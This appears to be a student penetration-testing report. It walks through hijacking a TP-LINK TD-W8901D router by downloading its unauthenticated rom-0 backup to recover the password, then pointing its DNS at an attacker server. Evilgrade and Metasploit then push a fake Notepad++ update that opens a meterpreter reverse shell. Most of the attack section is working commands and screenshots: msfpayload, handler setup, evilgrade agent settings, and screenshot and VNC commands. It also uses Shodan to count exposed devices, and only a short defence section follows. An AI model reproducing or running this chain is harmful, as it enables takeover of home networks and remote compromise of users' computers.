## Contents

Introduction .	2
Pre-requirements and tools	. 2
Hardware Requirements	. 2
Software Requirements	. 3
Demonstration .	4
Procedure for exploiting security vulnerability	. 4
Method of the protection	18

## **Pre-requirements and tools**

All the tools used in this project are easily available in the internet

#### **Hardware Requirements**

Laptop: A laptop with the internet connectively with at list 2-3 Ram is required, as I have used Virtual Workstation for the demonstration. So RAM is consumed as well at least 10 GB hard will be enough for setup.

**Router:** A TP-link is a company, which mostly manufacture the home based DSL and ADSL router. TP-LINK is a global provider of networking products, available in over 100 countries with tens of millions of customers. T TP-LINK is a global provider of SOHO&SMB networking products and the World's No.1 provider of WLAN products, with products available in over 120 countries to tens of millions customers. Committed to intensive R&D, efficient production and strict quality management, TP-LINK continues to provide award-winning networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Power line Adapters, Print Servers, Media Converters and Network Adapters for Global end-users. Here router model TD-W8901D with the firmware 6.0.0 is used in this project for the demonstration proposed.

http://www.tp-link.com/en/products/?categoryid=203

http://www.tp-link.us/about/?categoryid=102

#### **Software Requirements**

**Browser**: A browser is a software application used to locate, retrieve and display content on the World Wide Web, including Web pages, images, video and other files. As a client/server model, the browser is the client run on a computer that contacts the Web server and requests information. The Web server sends the information back to the Web browser, which displays the results on the computer or other Internet-enabled device that supports a browser.

Mozilla is a free software community best known for producing the Firefox web browser. The Mozilla community uses, develops, spreads and supports Mozilla products and works to advance the goals of the Open Source Web application. Any browser will work here I have used Firefox to access the router.

**Virtual Workstation:** A Virtual Workstation is a Software the will make the platform to run multiple operating systems (OS) at the same time, including Windows 8, Windows 7, Windows XP, Redhat, Ubuntu etc.

#### http://www.vmware.com/products/workstation

#### **Operating system:**

Kali Linux (Attacker)

Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security Ltd. Mati Aharoni and Devon Kearns of Offensive Security developed it by rewriting BackTrack, their previous forensics Linux distribution.

•••

http://en.wikipedia.org/wiki/Kali\_Linux

#### Windows 7(Any version)

As a victim, I have setup the windows 7 machine in the virtual machine .Where there is an application name notepad++, which we will be using as the target for the fake update.

**Evil grade script:** Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. It comes with pre-made binaries (agents), a working default configuration for fast pentests, and has it's own WebServer and DNSServer modules. <u>http://www.infobyte.com.ar/down/isr-evilgrade-Readme.txt</u>

Metasploit framework: The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature Its best-known sub-project is the open Metasploit Framework development. http://en.wikipedia.org/wiki/Metasploit Project, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shell code archive and related research. The Metasploit Project is well known for its anti-forensic evasion of which are built into Metasploit Framework and tools. some the http://www.rapid7.com/products/metasploit/

## **Demonstration**

#### Procedure for exploiting security vulnerability

It is not easy to attack windows 8.1,8,7 computer as xp .The best way to compromise victim computer is to make them click the payload but attacking the geek is not so easy. Taking the payload for pen drive and tell them to click is not the better idea .So in the case of WAN(Wide Area Network) the person whom you don't know will never get your malicious payload in his computer until you make him to download. This attack will be perfect for such scenario.





There are many types of router available in the market; most of the people never upgrade their firmware so they will have few flaws. Using that flaw you we can do this attack in most of the home router. But in this project I will be focus in the most common home based router "TP-LINK ". It is one of the most used home router for the wireless and Ethernets internet use. The firmware used by it has a very critical and flaw which can lead to a lot of attack. An unauthorized access is available to '*Firmware/Romfile Upgrade*' Section on the Router's panel that can be accessed without any login password i.e. <u>http://IP//rpFWUpload.html</u>. This page actually allows a user to upgrade the Firmware of the router and also allows to download the Romfile Backup file (*rom-0*) i.e. http://IP address/rom-0 (as shown)

Firefox <b>*</b>	Connecting +
(=) 🕘 192.168.5.	2
Acunetix Web So	canner 📔 🕨 Start Scan + 📕 Abort Scan 🛛 🥜 Settings 🛛 🤯 Advanced + 🛛 Scanner status: Idle.
	Authentication Required ×
?	A username and password are being requested by http://192.168.5.2. The site says: "TD-W8901G"
User Name:	
Password:	
	OK Cancel

F	Firefox  Protected Object +	
-	=) 🛞 192.168.5.2/rom-0	
•	Acunetix Web Scanner 📔 🕨 Start Scan 🗸 📕 Abort Scan 🛛 🥜 Settings 🛛 🞲 Advanced	+   Scanner sta
	Opening rom-0	
	You have chosen to open:	
U	🏭 rom-0	
	which is: application/octet-stream (16.0 KB)	
	from: http://192.168.5.2	
	What should Firefox do with this file?	
	Open with Browse	
	Save File	
	Do this <u>a</u> utomatically for files like this from now on.	
	OK Cancel	

Step 2: Downloading the rom files with http://IP address/rom-0 without login.

From the rrom file download from the router we get the plain text password by reverser engineering it but I just use my researching skill and find easy way Russian site to decrypted it <a href="http://www.hakim.ws/huawei/rom-0/">http://www.hakim.ws/huawei/rom-0/</a>

Step 3: Login to the router with the username name and password

🗲 🔎 🛞 192.168.5.2						☆▼	C 8 - Gc	₽ 🛛 -
Acunetix Web Scanner	🕨 Start Scan 🕶 📕 Al	oort Scan   🌽 Settin	ngs 🛛 🎲 Adva	anced + Scar	nner status: Idle.			
٦	P-LIN	IK®				54M Wireless	s ADSL2+ Mo	dem Router
	Maintenance	Quick In Start S	terface / Setup	Advanced Setup	Access Management	Maintenanc	e Status	Help
		Administration	Time Z	Zone Fir	rmware Sys	sRestart [	Diagnostics	
		Current Firmwar New Firmwar New Romfil Romf	re Version : 6.0 e Location : e Location : ile Backup :	0.0 Build 110915 Browse No ROMFILE SAVE	Rel.06942 selected. file selected.			
🕸 🖒 Console	🗘 Inspector	🛈 Debugger	Ľ∕ s	tyle Editor	② Profiler	🖃 Netwo	ork 🖵	<b>≟ €</b> 世
□         ✓         frames	et 🔰 frame 🔪	html body	form	n tab	> P rom		Rules C	omputed
_ <tc &lt; r <th>d class="tabdata"&gt; input type="buttor com-0');parent.loca cd&gt;</th><th>n" onclick="aler ation='rom-0';"</th><th>t('Suggest value="ROM</th><th>: to save Ro IFILE SAVE"</th><th>omfile name as name="Save"&gt;<!--</th--><th>input&gt;</th><th>lement {</th><th>V</th></th></tc 	d class="tabdata"> input type="buttor com-0');parent.loca cd>	n" onclick="aler ation='rom-0';"	t('Suggest value="ROM	: to save Ro IFILE SAVE"	omfile name as name="Save"> </th <th>input&gt;</th> <th>lement {</th> <th>V</th>	input>	lement {	V
x								🔨 Local   off 🖻

Using the online Search Engine SHODAN with description '*RomPager*' I found more then 72,72065 devices available on the Internet most suffer from the above mention vulnerability . All those devices are publicly available in the internet so we can get access with the attack for anywhere around

🔏 SHODAN	RomPager	Search	
		* *	
		Results 1 - 10 of ab	out 27272065 for RomPager
Services HTTP HTTPS HTTP Alternate	26,223,916 725,588 309,158	189.177.235.86 Gestión de direccionamiento UniNet Added on 13.04.2014 Mexico	Colobertine 2
HTTP HTTPS Alternate	10,951 1,058	dsl-189-177-235-86-dyn.prod- infinitum.com.mx HTTP/1.0 401 Unauthorized WWW-Authenticate: Basic realm="Echolife Portal de Inic	years of Shodan
Top Countries Italy Mexico Turkey Thailand Vietnam	2,546,655 2,476,010 2,077,632 1,877,720 1,617,063	Content-Type: text/html Transfer-Encoding: chunked Server: RomPager/4.07 UPnP/1.0 EXT:	

Step 4: Search vulnerable router with the search engine.

For the Proof of concept I used my home router Tp- Link router and a computer as the victim because this for my project I do not want to be in a cyber-crime problem.

I change the DNS of the router to dns server I own now the entire client under that network use my fake dns server. So this means I can redirected their request where ever I want .Using this techniques i could do phishing (could redirect to the fake website of Facebook cloning the Facebook or any other site get there password) but it was too easy so, it want got what else I can do. I then research and find tools that could inject the payload in the victim as the update the application, windows etc.

	LAB-PC	192.168.5.130 192.168.5.132	B8:88:E3:A5:88:4D BC:CF:CC:A1:48:F9	Static Static	N/A N/A	-
DNS						
	DNS Rela	y : Use Auto Discove	red DNS Server Only 😺			
	Primary DNS Serve	er: N/A				
	Secondary DNS Serve	er: N/A				
		SAVE CANO	FI			
		SAVE CAN				

Figure 1 The default setting of DNS

Step 5 Change the DNS (Domain Name system) to the DNS I hosted.

	LAB-PC	192.168.5.130	B8:88:E3:A5:88:4D	Static	N/A
	linux	192.168.5.132	BC:CF:CC:A1:48:F9	Static	N/A
DNS					
	DNS D	alay : Llea Llear Discova	red DNS Server Only		
	DNSR	elay. Use User Discove	red Divo Server Only		
	Primary DNS Se	rver : 192.168.5.132			
	Secondary DNS Se	rver: 0.0.0.0			
		SAVE CANO	EL		

Figure 2 The DNS IP is changed to attacker DNS

#### **DNS Server**

I setup DNS server in the Linux (in the attacker computer) the process to setup DNS is quite long so I have attached the appendix at the bottom of this report.

#### Virtual Machine Setup

Window-PC (Windows 7)

There is the windows pc in the virtual machine as the target .It has the application name Notepad ++ which we will be exploited during the update.



Kali Linux

The is the kali machine hosted in the virtual machine with preinstall tools like evilgrade ,metasploit used for the attack

4004			attaon
<u> </u>			
	root@lab: ~		×
Computer <u>F</u> ile	<u>E</u> dit <u>V</u> iew <u>S</u> earch <u>T</u> erminal <u>H</u> elp		
Lab application	Link encap:Ethernet HWaddr 00:0c:29:6c:19:8e inet addr:192163.5.182 Bcast:192.168.5.255 Mask inet6 addr: fe80::20c:29ff:fe6c:198e/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1505 errors:0 dropped:0 overruns:0 fram TX packets:1173 errors:0 dropped:0 overruns:0 carr: collisions:0 txqueuelen:1000 RX bytes:137571 (134.3 KiB) TX bytes:144071 (140.4 Interrupt:19 Base address:02080	:255.255.255.0 e:0 ier:0 6 K1B)	
metasploit add Do metasploitaveva -master	Link encap:Local Loopback inat addr:127.0.0.1 Mask:255.0.0.0 inat6 addr: :1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Matric:1 RX packets:1038 errors:0 dropped:0 overruns:0 fram« TX packets:1038 errors:0 dropped:0 overruns:0 fram« collisions:0 txqueuelen:0 RX bytes:82523 (80.5 K1B) TX bytes:82523 (80.5 K1B	e:0 1er:0 B)	
Responder-master	gsecdump-v2b5.exe		
noponder moster			

Step: 6 Creating the backdoor or payload with the Linux command which we will be sending as update. In pace of LHOST= enter you ip( attacker machine ip) and LPORT = (Any open ports)

Commad: @ @ # msfpayload windows/meterpreter/reverse\_tcp LHOST=192.168.5.132 LPORT=8080 x > navebackdoor.exe



Step: 7 Starting the metasploit framework

.

					Tool@lab.	iDes
<u>F</u> ile <u>E</u> dit	<u>V</u> iew <u>S</u> earch	n <u>T</u> erminal	Ta <u>b</u> s <u>H</u> e	lp		
root@lab	: ~					×
<pre>root@lab: [ ok ] St root@lab: [ ok ] St [ ok ] St root@lab:</pre>	~/Desktop# arting Post ~/Desktop# arting Meta arting Meta ~/Desktop#	service p greSQL 9. service m sploit rp sploit we msfconsol	ostgresql 1 databas etasploit c server: b server: e	start se serve start prosvc thin.	r: main.	E.

root@lab: «/Des

Step 8. Lunching exploit handler to listen the above created payload in the metasploit framework with command > use exploit/multi/handler

POD.exe naveba	Generation ackdoor.exe	Untitled Folder 2	
	root@lab: ~		_ 🗆 ×
<u>File Edit V</u> iew <u>S</u> earch ]	<u>F</u> erminal <u>H</u> elp		
Save your shells from A exe templates with Meta	AV! Upgrade to advanced A asploit Pro type 'go_p	/ evasion using dynamic ro' to launch it now.	
=[ metasploit v4 +=[ 1068 exploits +=[ 277 payloads	4.6.0-dev [core:4.6 api:1 s - 670 auxiliary - 179 p - 29 encoders - 8 nops	.0] ost	
<u>msf</u> > use exploit/multi <u>msf</u> exploit( <mark>handler)</mark> >	i/handler show options		
Module options (exploit	t/multi/handler):		
Name Current Settir	ng Required Description		

Step 9: Set the type of the payload to listen with the command >set payload windows/meterpreter/reverse\_tcp and to know other options use command >show options



Step 10: Set the Listening Host and Listening port value with the command >set LHOST (Attacker IP), set LPORT (value of the port, which we have assigned in the backdoor we created) and command > exploit (to run the attack)

root@lab: ~	_	×
File Edit View Search Terminal Help		
Exploit target:		
Id Name  0 Wildcard Target		
<u>msf</u> exploit( <b>handler</b> ) > set LHOST 192.168.5.132 LHOST => 192.168.5.132 <u>msf</u> exploit( <b>handler</b> ) > set LPORT 8080 LPORT => 8080 <u>msf</u> exploit( <b>handler</b> ) > exploit		
[*] Started reverse handler on 192.168.5.132:8080 [*] Starting the payload handler		

Step 11: Starting the fake update webserver tools name "evilgrade" with command evilgrade.

root@lab: ~		
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>S</u> earch <u>T</u> erminal	Ta <u>b</u> s <u>H</u> elp	
root@lab: ~	× root@lab: ~	×
<b>root@lab:~#</b> echo "Lets open th Lets open the fake update hand <b>root@lab:~#</b> evilgrade	e fake update handler tools evilgr ler tools evilgrade	ade "

Step 12: Use command "help" to look the options and "show modules "to list of fake server we can create.

	root@tab: "	
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>S</u> earch <u>T</u> erminal	Ta <u>b</u> s <u>H</u> elp	
root@lab: ~	× root@lab: ~	×
(_)    /   /  / /  / /  / /  / /  / /  / /  /	nfobytesec.com	
<u>evilgrade&gt;</u> show modules		
List of modules:		
I allmynotes amsn appleupdate apptapp apt atube		

Step 13: There many modules that for fake update of different types of application here I have targeted to for the fake update of the Notepad++ application (most often application used).Command to configure fake update



Step 14: To view the options for the selected module, use the command "show options". To set the backdoor as the update file add the previous made backdoor path as agent evilgrade(notepadplus)>set agent '["<%OUT%>/root/Desktop/navebackdoor.exe<%OUT%>"]'

Step 15: After the above setting, we need to start the EvilGrade web server with the command "start"

Evilgrade(notepadplus)>start



Step 16: Now, just wait for the victim to open his/her notepad plus. Once they open, they will get a pop up asking for update. During the update, he will be getting fake update form our evilgrade server and will be loaded with our backdoor exe file.

	🔡 C:\Pi	ogram Files\Notepad++\change.log - Notepad++		
	File Edi	t Search View Encoding Language Settings Macro Run Plugins Window	?	x
	🕞 🖻	) 🖽 🛍 💪 💪   🚜 🕩 🃭   Ə 🥑   📾 🏣   🤏 👒   🖼 🔂	Help Contents	Shift+F1
	😑 char	nge log	Notepad++ Home Notepad++ Project Page	
	1	Notepad++ v5.9 new features and fixed bug (from v5.8	Online Documentation	
	2		Forum	
	3	<ol> <li>Update Scintilla from 2.21 to 2.25</li> </ol>	Get More Plugins	
-03	4	<ol><li>New feature: Non-greedy regular expression (Scin</li></ol>	Update Notepad++	
	5	<ol> <li>Add Copy/Cut/Paste Binary Content feature.</li> </ol>	About Notepad++	F1
Notopad	6	4. Add "paste HTML content" and "paste RTF content"		
Notepadit	7	5. Fix the inverse of title and message for some Mes	ssageBox.	
	8	6. Add "Remove Unmarked Lines" command.		
	9	7. Add "Column Mode Tip" to notice users the usage of	of column mode in	Note
	10	<ol><li>Make stream comment of php/javascript foldable.</li></ol>		
	11			
	12			
	13	Included plugins (Unicode):		
	14			
	15	<ol> <li>Spell Checker v1.3.3</li> </ol>		
	16	2. NppFTP 0.23		
	length : 9	13 lines : 36 Ln : 12 Col : 1 Sel : 0 Dos\Windows	ANSI	INS //

Step 17: Upgrading producers of the notepad plus by the victim



Step 18 : In the attacker machine, evilgrade server will load the backdoor and metasploit handler will established the session and give us the meterpreter shell.



Step:19 Now we have meterpreter shell and the target pc is compromised .We do many things for here to seen the victim computer information use command "sysinfo"

root@lab: ~	-	30
File Edit View Search Terminal Help		
msf exploit(handler) > exploit		
<pre>[*] Started reverse handler on 192.168.5.132:8080 [*] Starting the payload handler</pre>		
[*] Sending stage (752128 bytes) to 192.168.5.130 [*] Meterpreter session 1 opened (192.168.5.132:8080 -> 192.168. 5.130:49265) at 2013-08-06 20:51:08 -0400		
meterpreter >		
<u>meterpreter</u> > <u>meterpreter</u> > mow we have meterpreter session we can do alot of things [-] Unknown command: mow.		
meterpreter > sysinfo Computer : LAB-PC		
OS : Windows 7 (Build 7600).		I
Architecture : x86 System Language : en_GB Meterpreter : x86/win32 <u>meterpreter</u> >		

Step 20: There are many command, which we can use to extract a lot of information form the victim pc .Use command "help" to see few commands ,like scrrenshot, killav,run vnc etc.

net	erpreter > he	lp		
	e Commands			
	Command		Description	
4	? background bgkill bglist bgrun		Help menu Backgrounds the current session Kills a background meterpreter script Lists running background scripts Executes a meterpreter script as a background thre	
it	channel close disable_unico emaile_unico emaile info interact irb load migrate quit resource run resource run use write	ode_encoding de_encoding	Displays information about active channels Closes a channel Disables encoding of unicode strings Enables encoding of unicode strings Terminate the meterpreter session Help menu Displays information about a Post module Interacts with a channel Drop into irb scripting mode Load one or more meterpreter extensions Nigrate the server to another process Terminate the meterpreter session Reads data from a channel Run the commands stored in a file Executes a meterpreter script or Post module Deprecated alias for 'load' Writes data to a channel	
	Command	Description		
	cat cd download edit getlwd lcd lpwd ls rm rmdir search upload	Read the co Change dire DownLoad a Edit a file Print worki Change loca Print local List files Make direct Print worki Delete the Remove dire Search for Upload a fi	ntents of a file to the screen ctory file or directory working directory ng directory l working directory working directory ory ng directory specified file ctory files le or directory	

# Step 21: Enter command "screenshot "to get screenshot of the victim computer, command



## "run vnc " to get remote desktop .

#### Step 22: Making new folder name "jdfkdjfdjf "form GUI in the victim machine



Step:23 Checking the victim pc if the folder name "jdfjdfjdk " was created or not .



### Method of the protection

We should frequently update the firmware of the router.

- Never make your router available in the internet. The certificate should be check before updating the files
- > It will be best to setup the static DNS IP of the Google as 8.8.8.8, 8.8.4.4

Step: 1 Always update latest firmware if available from the vendor site but not patch firmware is currently available for the TD-W8901D.

♦ 192.168.5.2						☆ マ C	8 - Gc 🔎	
🔿 Acunetix Web Scanner 🗼 Start Scan + 🔳	Abort Scan 🛛 🍯	🎤 Settings 🛛 🤯	Advanced •	Scanner status	: Idle.			
TP-LIN	K <sup>®</sup>				54	M Wireless A	DSL2+ Moo	lem Router
Maintenance	Quick Start	Interface Setup	Advanced Setup	Acces Manager	nent M	laintenance	Status	Helj
	Administ	tration Tir	me Zone	Firmware	SysRes	tart Dia	gnostics	
Firmware/Romfile Upgrade								
	Current F	irmware Version	: 6.0.0 Build 1109	015 Rel.06942				
	New Firmware Location Browse No file selected.							
	New Romfile Location : Browse_ No file selected.							
		Romfile Backup	ROMFILE SAV	VE.				
		Status	: It might take sev the upgrade.	veral minutes, do	in't power off	it during upgradi	ing. Device will	restart after
			UPGRADE					
x							Х	Local   off 📐

Step 2: Using the static DNS (Domain Name System) in the PC will help to prevent this types of the attack .If hacker change DNS server of the router but PC will use Google DNS server

jankjakjnjakj	📱 Local Area Connection 2 Statu	Internet Protocol Version 4 (TCP/IPv4) Properties
	General	General Alternate Configuration
Notepad++	Connection IPv4 Connectivity: IPv6 Connectivity:	You can get IP settings assigned automatically if your network supports this capability. Otherwise, you need to ask your network administrator for the appropriate IP settings.
	Media State:	<ul> <li>Obtain an IP address automatically</li> </ul>
	Duration:	C Use the following IP address:
	Speed:	IP address:
	Details	Subnet mask:
		Default gateway:
	Activity	O Obtain DNS server address automatically
	Sent —	• Use the following DNS server addresses:
		Preferred DNS server: 8 . 8 . 8
	Bytes: 89,893,020	Alternate DNS server: 8 . 8 . 4 . 4
	Properties Proberties	Validate settings upon exit
		OK Cancel
		OK Cancel

Step 3: Now again victim try to update his note pad application.

📔 C:\Program Files	s\Notepad++\change.log - Notep	ad++					
File Edit Search \	View Encoding Language Settings	Macro Run	Plugins Window	?	Х	_	
🔓 📑 🗎 🛍	5 is 👌 🖌 🗅 is   🤉 d	:  🛗 🎭   🤇	१ 🔫   🖪 🖬	Help Contents	Shift+F1		
😑 change.log				Notepad++ Home		pad++ update	×
17 3. Npp	Export v0.2.8			Online Documentation		update package is available, do you want to download it?	
18 4. Com	pare Plugin 1.5.6.1			Forum			
19 5. Plu	gin Manager 0.9.3.1			Get More Plugins			- 1
20 6. Con	verter 3.0			Undate Notepad++		Yes No Cancel	
21				About Notepad++	F1		
22			-				
23 24 Include	d plugins (ANSI):						
25							
26 1. Tex	tFX v0.25						
27 2. Nppl	Exec v0.4.1						
length: 913 lines: 36	5 Ln:32 Col:25 Sel:0		Dos\Windows	ANSI	INS //		

Step 4: in the attacker, Server there is no request of the update because now he is using the Google DNS (Domain Name System)

Step 5 : In the attacker computer no session is created because our backdoor is not executed in the victim computer.

